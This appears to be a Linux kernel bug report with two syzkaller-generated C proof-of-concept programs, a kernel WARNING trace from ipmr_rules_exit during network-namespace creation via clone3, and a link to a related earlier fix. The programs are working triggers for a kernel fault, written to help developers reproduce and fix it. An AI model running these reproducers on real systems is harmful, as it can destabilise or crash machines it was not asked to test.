PoC (might not be stably reproduced): ``` // autogenerated by syzkaller (https://github.com/google/syzkaller) #define _GNU_SOURCE #include <endian.h> #include <fcntl.h> #include <sched.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/types.h> #include <unistd.h> #include <linux/sched.h> #ifndef __NR_clone3 #define __NR_clone3 435 #endif #ifndef __NR_seccomp #define __NR_seccomp 317 #endif static long syz_open_dev(volatile long a0, volatile long a1, volatile long a2) { if (a0 == 0xc || a0 == 0xb) { char buf[128]; sprintf(buf, "/dev/%s/%d:%d", a0 == 0xc ? "char" : "block", (uint8_t)a1, (uint8_t)a2); return open(buf, O_RDWR, 0); } else { char buf[1024]; char* hash; strncpy(buf, (char*)a0, sizeof(buf) - 1); buf[sizeof(buf) - 1] = 0; while ((hash = strchr(buf, '#'))) { *hash = '0' + (char)(a1 % 10); a1 /= 10; } return open(buf, a2, 0); } } #define USLEEP_FORKED_CHILD (3 * 50 * 1000) static long handle_clone_ret(long ret) { if (ret != 0) { return ret; } usleep(USLEEP_FORKED_CHILD); syscall(__NR_exit, 0); while (1) { } } #define MAX_CLONE_ARGS_BYTES 256 static long syz_clone3(volatile long a0, volatile long a1) { unsigned long copy_size = a1; if (copy_size < sizeof(uint64_t) || copy_size > MAX_CLONE_ARGS_BYTES) return -1; char clone_args[MAX_CLONE_ARGS_BYTES]; memcpy(&clone_args, (void*)a0, copy_size); uint64_t* flags = (uint64_t*)&clone_args; *flags &= ~CLONE_VM; return handle_clone_ret((long)syscall(__NR_clone3, &clone_args, copy_size)); } uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff}; int main(void) { syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1, /*offset=*/0ul); syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul, /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/ 7ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1, /*offset=*/0ul); syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1, /*offset=*/0ul); const char* reason; (void)reason; intptr_t res = 0; if (write(1, "executing program\n", sizeof("executing program\n") - 1)) { } *(uint64_t*)0x20000a00 = 0x40b86000; *(uint64_t*)0x20000a08 = 0; *(uint64_t*)0x20000a10 = 0; *(uint64_t*)0x20000a18 = 0; *(uint32_t*)0x20000a20 = 0x1d; *(uint64_t*)0x20000a28 = 0; *(uint64_t*)0x20000a30 = 0; *(uint64_t*)0x20000a38 = 0; *(uint64_t*)0x20000a40 = 0; *(uint64_t*)0x20000a48 = 0; *(uint32_t*)0x20000a50 = -1; syz_clone3(/*args=*/0x20000a00, /*size=*/0x58); *(uint16_t*)0x20000040 = 1; *(uint64_t*)0x20000048 = 0x20000080; *(uint16_t*)0x20000080 = 6; *(uint8_t*)0x20000082 = 4; *(uint8_t*)0x20000083 = 0; *(uint32_t*)0x20000084 = 0x7fff0000; syscall(__NR_seccomp, /*op=*/1ul, /*flags=*/0ul, /*arg=*/0x20000040ul); syscall(__NR_socket, /*domain=*/0x10ul, /*type=*/3ul, /*proto=*/0); syscall(__NR_prlimit64, /*pid=*/0, /*res=RLIMIT_RTPRIO*/ 0xeul, /*new=*/0ul, /*old=*/0ul); *(uint64_t*)0x20000a00 = 0x40b86000; *(uint64_t*)0x20000a08 = 0; *(uint64_t*)0x20000a10 = 0; *(uint64_t*)0x20000a18 = 0; *(uint32_t*)0x20000a20 = 0x1d; *(uint64_t*)0x20000a28 = 0; *(uint64_t*)0x20000a30 = 0; *(uint64_t*)0x20000a38 = 0; *(uint64_t*)0x20000a40 = 0; *(uint64_t*)0x20000a48 = 0; *(uint32_t*)0x20000a50 = -1; syz_clone3(/*args=*/0x20000a00, /*size=*/0x58); res = -1; res = syz_open_dev(/*dev=*/0xc, /*major=*/4, /*minor=*/0x14); if (res != -1) r[0] = res; syscall(__NR_ioctl, /*fd=*/r[0], /*cmd=*/0x5608, 0); res = -1; res = syz_open_dev(/*dev=*/0xc, /*major=*/4, /*minor=*/0x15); if (res != -1) r[1] = res; *(uint16_t*)0x20000080 = 0x3e7f; *(uint64_t*)0x20000088 = 0x20000040; syscall(__NR_ioctl, /*fd=*/r[1], /*cmd=*/0x4b67, /*arg=*/0x20000080ul); return 0; } ``` [ 201.617435] ------------[ cut here ]------------ [ 201.617808] WARNING: CPU: 3 PID: 2712 ipmrat net/ipv4/ipmr.c:440_rules_exit.isra.0+0x10c/0x1a0 [ 201.618094] Modules linked in: [ 201.618200] CPU: 3 UID: 0 PID: 2712 Comm: fused3844 Not tainted 6.13.0-rc1 #1 [ 201.618423] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014 [ 201.618682] RIP: 0010:ipmr_rules_exit.isra.0+0x10c/0x1a0 [ 201.618829] Code: 00 00 00 00 00 fc ff df 48 c1 ea 03 80 3c 02 00 75 7d 48 c7 03 00 00 00 00 5b 5d 41 5c 41 5d c3 cc cc cc cc e8 55 32 b7 fd 90 <0f> 0b 90 eb 99 e8 4a 32 b7 fd 0f b6 2d a9 fa 30 02 40 80 fd 01 0f [ 201.619438] RSP: 0000:ffff88810f0ff910 EFLAGS: 00010293 [ 201.619667] RAX: 0000000000000000 RBX: ffff8881161d3320 RCX: ffffffff8594d6fb [ 201.619922] RDX: ffff888108342dc0 RSI: 0000000000000004 RDI: ffff8881161d2e44 [ 201.620162] RBP: ffff88810afea000 R08: 0000000000000000 R09: ffffed1022c3a5c9 [ 201.620439] R10: ffffed1022c3a5c8 R11: ffff8881161d2e47 R12: ffff8881161d2e44 [ 201.620750] R13: ffff8881161d2dc0 R14: dffffc0000000000 R15: fffffbfff0f58434 [ 201.621079] FS: 000000000fc74880(0000) GS:ffff8881f1180000(0000) knlGS:0000000000000000 [ 201.621429] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 201.621701] CR2: 000000000048b6b0 CR3: 0000000111808000 CR4: 00000000000006f0 [ 201.621960] Call Trace: [ 201.622067] <TASK> [ 201.622145] ? __warn+0xea/0x2b0 [ 201.622305] ? ipmr_rules_exit.isra.0+0x10c/0x1a0 [ 201.622502] ? report_bug+0x2cb/0x430 [ 201.622645] ? ipmr_rules_exit.isra.0+0x10c/0x1a0 [ 201.622819] ? ipmr_rules_exit.isra.0+0x10d/0x1a0 [ 201.623008] ? handle_bug+0x9b/0x110 [ 201.623137] ? exc_invalid_op+0x25/0x70 [ 201.623364] ? asm_exc_invalid_op+0x1a/0x20 [ 201.623556] ? ipmr_rules_exit.isra.0+0x10b/0x1a0 [ 201.623774] ? ipmr_rules_exit.isra.0+0x10c/0x1a0 [ 201.623969] ipmr_net_exit_batch+0x54/0xa0 [ 201.624129] ? __pfx_ipmr_net_exit_batch+0x10/0x10 [ 201.624318] ? __pfx_ipmr_net_exit+0x10/0x10 [ 201.624489] ops_exit_list.isra.0+0x102/0x150 [ 201.624631] setup_net+0x432/0x740 [ 201.624725] ? __pfx_setup_net+0x10/0x10 [ 201.624831] ? __pfx_down_read_killable+0x10/0x10 [ 201.624977] ? __kmalloc_cache_noprof+0x120/0x320 [ 201.625121] copy_net_ns+0x247/0x3d0 [ 201.625236] create_new_namespaces+0x382/0xa20 [ 201.625377] copy_namespaces+0x1d5/0x2d0 [ 201.625510] copy_process+0x2715/0x67a0 [ 201.625649] ? alloc_file_pseudo+0x130/0x1e0 [ 201.625835] ? sock_alloc_file+0x53/0x1d0 [ 201.626009] ? __pfx_copy_process+0x10/0x10 [ 201.626143] ? _copy_from_user+0x5a/0xa0 [ 201.626285] ? copy_clone_args_from_user+0x3c5/0x680 [ 201.626487] kernel_clone+0xc6/0x7a0 [ 201.626604] ? __pfx_kernel_clone+0x10/0x10 [ 201.626781] ? percpu_counter_add_batch+0x106/0x250 [ 201.626989] __do_sys_clone3+0x181/0x1f0 [ 201.627149] ? __pfx___do_sys_clone3+0x10/0x10 [ 201.627333] ? __secure_computing+0x16c/0x2c0 [ 201.627509] do_syscall_64+0xaa/0x1b0 [ 201.627640] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 201.627815] RIP: 0033:0x44df9d [ 201.627926] Code: c3 e8 37 29 00 00 0f 1f 80 00 00 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 c0 ff ff ff f7 d8 64 89 01 48 [ 201.628542] RSP: 002b:00007ffdcf96c988 EFLAGS: 00000206 ORIG_RAX: 00000000000001b3 [ 201.628845] RAX: ffffffffffffffda RBX: 0000000000400530 RCX: 000000000044df9d [ 201.629125] RDX: 0000000020000a00 RSI: 0000000000000058 RDI: 00007ffdcf96c9b0 [ 201.629396] RBP: 00007ffdcf96cac0 R08: 0000000000000000 R09: 0000000000000058 [ 201.629676] R10: 0000000000000000 R11: 0000000000000206 R12: 0000000000403380 [ 201.629912] R13: 0000000000000000 R14: 00000000004c5018 R15: 0000000000000000 [ 201.630159] </TASK> [ 201.630274] ---[ end trace 0000000000000000 ]---
A prior related splat report & fix: https://lore.kernel.org/all/8bde975e21bbca9d9c27e36209b2dd4f1d7a3f00.1733212078.git.pabeni@redhat.com/T/ Another workable PoC: ``` #define _GNU_SOURCE #include <dirent.h> #include <endian.h> #include <errno.h> #include <fcntl.h> #include <sched.h> #include <signal.h> #include <stdarg.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/prctl.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <time.h> #include <unistd.h> #include <linux/sched.h> #ifndef __NR_clone3 #define __NR_clone3 435 #endif static void sleep_ms(uint64_t ms) { usleep(ms * 1000); } static uint64_t current_time_ms(void) { struct timespec ts; if (clock_gettime(CLOCK_MONOTONIC, &ts)) exit(1); return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000; } static bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { int err = errno; close(fd); errno = err; return false; } close(fd); return true; } static void kill_and_wait(int pid, int* status) { kill(-pid, SIGKILL); kill(pid, SIGKILL); for (int i = 0; i < 100; i++) { if (waitpid(-1, status, WNOHANG | __WALL) == pid) return; usleep(1000); } DIR* dir = opendir("/sys/fs/fuse/connections"); if (dir) { for (;;) { struct dirent* ent = readdir(dir); if (!ent) break; if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0) continue; char abort[300]; snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort", ent->d_name); int fd = open(abort, O_WRONLY); if (fd == -1) { continue; } if (write(fd, abort, 1) < 0) { } close(fd); } closedir(dir); } else { } while (waitpid(-1, status, __WALL) != pid) { } } static void setup_test() { prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); setpgrp(); write_file("/proc/self/oom_score_adj", "1000"); } #define USLEEP_FORKED_CHILD (3 * 50 * 1000) static long handle_clone_ret(long ret) { if (ret != 0) { return ret; } usleep(USLEEP_FORKED_CHILD); syscall(__NR_exit, 0); while (1) { } } #define MAX_CLONE_ARGS_BYTES 256 static long syz_clone3(volatile long a0, volatile long a1) { unsigned long copy_size = a1; if (copy_size < sizeof(uint64_t) || copy_size > MAX_CLONE_ARGS_BYTES) return -1; char clone_args[MAX_CLONE_ARGS_BYTES]; memcpy(&clone_args, (void*)a0, copy_size); uint64_t* flags = (uint64_t*)&clone_args; *flags &= ~CLONE_VM; return handle_clone_ret((long)syscall(__NR_clone3, &clone_args, copy_size)); } static void execute_one(void); #define WAIT_FLAGS __WALL static void loop(void) { int iter = 0; for (;; iter++) { int pid = fork(); if (pid < 0) exit(1); if (pid == 0) { setup_test(); execute_one(); exit(0); } int status = 0; uint64_t start = current_time_ms(); for (;;) { sleep_ms(10); if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid) break; if (current_time_ms() - start < 5000) continue; kill_and_wait(pid, &status); break; } } } void execute_one(void) { if (write(1, "executing program\n", sizeof("executing program\n") - 1)) { } *(uint64_t*)0x20000a00 = 0x40b86000; *(uint64_t*)0x20000a08 = 0; *(uint64_t*)0x20000a10 = 0; *(uint64_t*)0x20000a18 = 0; *(uint32_t*)0x20000a20 = 0x1d; *(uint64_t*)0x20000a28 = 0; *(uint64_t*)0x20000a30 = 0; *(uint64_t*)0x20000a38 = 0; *(uint64_t*)0x20000a40 = 0; *(uint64_t*)0x20000a48 = 0; *(uint32_t*)0x20000a50 = -1; syz_clone3(/*args=*/0x20000a00, /*size=*/0x58); for (int i = 0; i < 32; i++) { syz_clone3(/*args=*/0x20000a00, /*size=*/0x58); } } int main(void) { syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1, /*offset=*/0ul); syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul, /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/ 7ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1, /*offset=*/0ul); syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1, /*offset=*/0ul); const char* reason; (void)reason; loop(); return 0; } ```